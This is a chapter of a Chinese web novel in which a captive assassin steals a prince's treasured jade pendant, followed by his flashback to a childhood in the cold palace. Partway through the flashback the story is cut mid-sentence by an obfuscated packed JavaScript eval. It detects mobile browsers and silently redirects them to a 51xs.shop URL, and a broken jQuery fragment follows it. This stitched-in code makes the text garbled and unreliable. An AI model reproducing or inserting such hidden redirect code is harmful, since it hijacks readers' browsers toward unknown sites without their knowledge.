“站住!快把王爷的玉佩放下,摔坏了,赔上你一条命都赔不起!”
一群下人追着一位女子跑,胆战心惊看着她手上玉佩。
王爷平日里珍藏的玉佩,现下却被她随意捏在手上,根本不在意玉佩有多珍贵。
向来安静沉闷的景王府罕见地喧闹起来,全是因为一位叫眠霜的女子。
眠霜边跑边回头,扬了扬唇角,“想要玉佩,追上我再说。”
下人气喘吁吁追着眠霜跑,跑过假山,绕过回廊,眠霜步履轻快,很快就把他们甩在后面。
眠霜渐渐放慢了步伐,一边回头观察,一边快步走着。
作为一名出色的杀手,眠霜接下很多棘手任务,毫无错漏,所以被堂主派来执行刺杀景王贺沅安。
只是从来没想过任务当夜便被贺沅安发现,反被抓住,囚禁在景王府里。
每当她想逃跑的时候,准会被提前蹲守的暗卫给带回来,无一例外。就算她用绝食来威胁贺沅安,贺沅安也不为所动,甚至说“不想吃就把舌头拔了”这种话。
简直毫无人性。眠霜几乎是咬牙切齿。
这次眠霜从下人口中得知贺沅安有一块很珍视的玉佩,珍重地放在房间里,不允许任何去碰。
眠霜敏锐地察觉到这是一个好机会,所以趁下人不注意溜进贺沅安的房间,找到了玉佩。
这才发生了刚才被追赶的这一幕。
要是这次找到机会,她一定要把贺沅安狠狠折磨致死。眠霜在心里暗暗盘算,眼睛里闪过一丝精光。
一块平平无奇,甚至有点粗糙的玉佩,怎么让贺沅安这么上心?眠霜不由得想。
拐过弯,视线突然开阔起来了,远处是宽阔的池塘,旁边建着观光纳凉的亭子。
似乎是看到了什么恐怖的东西,眠霜眼神一凝,正准备悄悄离开,后退的时候,踩到地上的树枝发出脆响。
远远看到贺沅安往这边看了过来,眠霜怔在原地。
等她反应过来,背后已经多了一群五大三粗的下人,就这么推搡着把她带到贺沅安面前。
“王爷,这女子手脚不干净,竟然跑到王爷房中偷窃,还请王爷处置!”下人陈述事情的经过。
贺沅安背对着他们,修长的手指拈了鱼食扔出去,漫不经心开口:“拿了什么?”
这话不是对下人说,而是问眠霜的。
虽然贺沅安没转过来,眠霜下意识感受到了刺骨的寒意,她开始后悔用这个主意了,但是不这样,她就得一直困在景王府里。
杀不了人,还不能逃跑了。
眠霜没说话,攥紧手里的玉佩,做足了心理斗争,平静道:“我拿了你放在床头匣子里的玉佩,我知道你非常珍视这块玉佩,只要你愿意放了我,我便把玉佩原封不动地还给你。”
“不然,我便当场砸了这玉佩,玉石俱焚。”
眠霜的话掷地有声。
此话一出,在场的人都静下来,仿佛被吓到了一般。
这女子活腻歪了吧,竟然敢威胁王爷。
想必不知道王爷温润如玉的面庞下,是怎样一番模样。
下人不约而同低下头,噤声,只有眠霜定定站在原地,盯着贺沅安的背影。
眠霜心道,她当然知道贺沅安就是一颗黑心汤圆。
她在赌贺沅安到底在不在意这个玉佩。
如眠霜所愿,贺沅安身子终于动了,慢慢转过身来,凉薄的眼神落在眠霜身上。
接着,一步一步走向眠霜,脚步声也落在了眠霜心上,一下一下敲着。
贺沅安在离眠霜不远的位置停了下来,眼神似笑非笑,不过笑意不达眼底,“你就这么笃定我会放过你?”
眠霜眼睫颤动。
“拿过来。”贺沅安伸出手,示意眠霜把玉佩拿出来,看上去耐心十足。
眠霜一动没动,手攥得越发紧,几乎要把玉佩捏碎。
没人知道她袖子里藏了一把刀,眠霜有些犹豫,是不顾一切杀了贺沅安,死在众多暗卫的刀下,还是交出玉佩博一线生机。
贺沅安距离眠霜越来越近了,她忽然抽出刀对着贺沅安,“别过来!”
暗卫握紧了手里的刀,只要贺沅安一声令下,他们便手起刀落杀了眠霜。
贺沅安没有命令,仍然一步步靠近眠霜,似乎没有看到眠霜手里的刀,又说了一遍,“拿过来。”
眠霜的手轻微颤抖,贺沅安的心理太强大了,她这点小伎俩根本骗不过他。
眠霜一时失神,回过神时贺沅安正准备拿她手里的玉佩,她下意识挥出了刀。
“当啷——”
暗卫悉数从暗处出现,打落了眠霜手上的刀,眠霜被紧紧擒拿住,分毫动弹不得。
玉佩又重新回到了贺沅安手中,上面的纹路已经被磨损了,他摩挲着玉佩,不知道在想什么。
这玉佩他已经许久没拿出来看过了,这么多年,还是第一次有人拿这个玉佩来威胁他。
贺沅安掀开眼皮,淡淡道:“我平生最恨别人威胁我。”
眠霜对上贺沅安的眼神,隐约意识到什么。
玉佩被贺沅安大力砸到地上,瞬间四分五裂,碎片散落一地,一片狼藉。
贺沅安心里升起一丝隐秘的快意,这么多年积压在心中的郁闷和恨意随着玉佩的破碎,消散了些许。
一块玉佩,怎么能轻易控制他。
**
皇宫中的最荒芜的地方,属冷宫,这里人迹罕至,除了不受宠的皇子和妃子,几乎没什么人来。
冷宫里有一棵苍天的木棉花书,上面开满了火红的木棉花,给冷宫寂寥的环境增添了几分瑰丽色彩。
两个半大的孩子蹲在树下,扒拉着木棉花,小一点的孩子把木棉花放进嘴里,呸呸呸地吐了出来。
“皇兄,这个根本不能吃。”年幼的贺沅安皱着小脸,朝贺砚随说道。
在冷宫里,能吃得上一顿饱饭,几乎是奢望。
这个时候,贺沅安他们已经饿了一天一夜。
柳妃让他们两个孩子自己待着,跟送饭的太监讨吃的去了。
日头慢慢落了下来,柳妃披着披风,把两个孩子带进了稍稍整洁的屋子里,掏出一个馒头,掰成两半放到贺砚随和贺沅安的手里。
“吃吧。”
那时候柳妃会慈爱地抚摸他们的头,嘱咐他们慢点吃。
后来,一个馒头变
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13430462|141427||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
成了两个馒头,贺砚随的碗里永远比他的多了半个。
他疑惑地问柳妃,为什么皇兄比他的要多,柳妃只遮遮掩掩,说贺砚随年纪比他大一点,需要长身体。
春去秋来,贺砚随和贺沅安他们渐渐长大,柳妃也苍老了很多,身子日渐瘦削。
有一日,柳妃偷偷拉着贺砚随进了房间,贺沅安偷偷趴在门缝里往里看,瞧见柳妃把常年带在身上的玉佩给了贺砚随,目光里充满希冀。
贺沅安心里的天平逐渐倾斜了,母妃对他和贺砚随根本不一样,为什么对贺砚随这么好!
贺沅安心存怨恨,找了机会便在贺砚随的饭菜里偷偷撒下沙土,以此来发泄内心的不满,报复贺砚随对他对一份母爱。
“你为什么往兄长的饭菜里做手脚,我平日里就是这么教你的吗?”柳妃痛心疾首,却丝毫没觉得自己平日的做法有什么不妥。
越是这样,贺沅安越是叛逆,越是怨恨。
后来,贺砚随在冷宫在撞见了昭文帝,而昭文帝终于发现了在冷宫里数年的柳妃和贺沅安兄弟俩,将他们接出冷宫。
柳妃重获盛宠,贺砚随和贺沅安也封王立府。
按道理来说,丰衣足食之下,应该不会再有什么问题,可柳妃却郁郁寡欢,身子日渐衰弱,生了好几场大病。
贺沅安始终对贺砚随和柳妃怀恨在心,平日里窝在自己的府上或者整日里浪荡红楼,只偶尔去宫里看看柳妃。
旁人不知,只知道景王贺沅安勤勉政事。
真是可笑。
再后来,贺沅安和贺砚随的生辰日到了,柳妃特意从宫里出来到景王府,给他们兄弟俩庆贺生辰。
府里因为贺沅安的授意,并没有装饰府邸,仍旧如平时冷冷清清,柳妃便让贺砚随去备了一大桌酒席,准备晚上三人同乐。
贺沅安自己并不知道,像往常一样去红楼玩乐,末了兴致起来,带了一个顺眼的女子回府,迎面撞上柳妃和贺砚随。
柳妃没想到自己的小儿子平日里勤勉的样子是装出来的,当场训斥了他一顿。
贺沅安不记得他是什么想法,只记得他那时的反应,搂住花枝招展的女子,对着柳妃和贺砚随冷嘲热讽一顿,心里甚是快意。
只是没想到柳妃受了刺激,登时仰头往后倒去。
当场气死了。
贺沅安的手微微颤抖,各种人来来往往,惊叫声凑到耳边又倏然退去。
贺沅安在院子里站了一夜,披霜带雪。
这一夜,他们没有母妃了。
柳妃下葬之后,贺砚随来找过他,将多年前柳妃给他的玉佩一把扯下来,丢到贺沅安身上。
贺沅安听到贺砚随近乎嘶吼的声音:“不就是为了这块玉佩,现在我还给你。”
……
贺沅安在躺椅上醒来,眼睛里雾蒙蒙一片。
天色已然暗了下来,看样子他睡了好几个时辰,并且还在梦里过完了他的前半生。
贺沅安想笑,却笑不出来,心口闷闷地,像被什么东西堵住了。
贺沅安难耐地闭上眼睛,再睁开已经一片清明。
困住他的玉佩碎了,从此他可以不受束缚,遨游于天地之间。